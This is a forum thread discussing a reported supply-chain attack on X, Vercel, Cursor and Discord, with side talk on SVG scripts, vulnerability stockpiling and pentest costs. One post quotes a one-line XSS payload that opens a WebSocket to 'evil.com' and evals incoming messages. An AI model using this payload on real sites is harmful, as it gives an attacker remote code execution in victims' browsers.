We pwned X, Vercel, Cursor, and Discord through a supply-chain attack

Post by zahlman » Fri, Dec 19, 2025, 11:25 PM UTC

rainonmoon wrote: post #287

llmslave2 wrote: post #263

Earlier quoted context omitted.

> Show me where you can "open a tunnel" using the XSS in this post. new WebSocket("ws://evil.com").addEventListener("message", e => eval(e.data)) > You seem to have multiple fundamental misunderstandings about web application security Lol yeah sure buddy

Go to Discord and paste that into your console. None of us will hold it against you if you come back and delete these comments once you learn about Content Security Policy.

Post by actionfromafar » Fri, Dec 19, 2025, 11:42 PM UTC

zahlman wrote: post #410

anthk wrote: post #160

Earlier quoted context omitted.

PostScript can emulate the ZMachine (Zork text adventures and all of infocom) with "zmachine.ps". Look it up at DDG/GG.

How does it do I/O?

Post by zahlman » Sat, Dec 20, 2025, 12:05 AM UTC

zahlman wrote: post #413

dllu wrote: post #5

The fact that SVG files can contain scripts was a bit of a mistake. On one hand, the animations and entire interactive demos and even games in a single SVG are cool. But on the other hand, it opens up a serious can of worms of security vulnerabilities. As a result, SVG files are often banned from various image upload tools, they do not unfurl previews, and so on. If you upload an SVG to discord, it just shows the raw…

Yeah, it's still insane to me that the SVG can contain scripts. Wholly unnecessary; the DOM subtree it defines could be manipulated by external scripts just fine. Anyway, I just set `svg.disabled` in Firefox. Scary world out there.

Post by 0xbadcafebee » Sat, Dec 20, 2025, 12:45 AM UTC

tptacek wrote: post #397

0xbadcafebee wrote: post #384

Earlier quoted context omitted.

They have a class of attacks which are used for targeted intrusion into foreign entities. Typically espionage or cyberwarfare, so they're not often used (they're aware they might be a one-use attack), but some persist for a long time. Foreign entities also tend not to admit to the attacks when found, so if the vendor is a US entity, often the vendor doesn't find out. We do the same; when our intelligence agencies fin…

Are these things you think it stands to reason the IC must be doing, or things you know for a fact that they are doing? It stands to reason for a lot of people that the IC must stockpile vulnerabilities, but they don't (they keep just a couple working ones) --- just as an example of counterintuitive things about how CNE works.

Post by tptacek » Sat, Dec 20, 2025, 1:45 AM UTC

wiether wrote: post #304

tptacek wrote: post #205

Earlier quoted context omitted.

Just going to say here that people routinely engage pentest firms, several times annually, for roughly that sum of money, hoping but not expecting game-over vulnerabilities (and, from bitter experience as a buyer rather than a seller of those services over the last 5 years --- "no game-over vulnerabilities" is a very common outcome!)

I completely agree! But hiring a pentest firm is completely different than giving $50k a year to a guy, no questions asked. The pentest firm is generally providing the whole package, from doing the actual pentest, with tools and workers of various experience and skill sets, giving you extended reports on what they did and the outcome, to providing guidance on how to fix their findings, how to make the necessary cultu…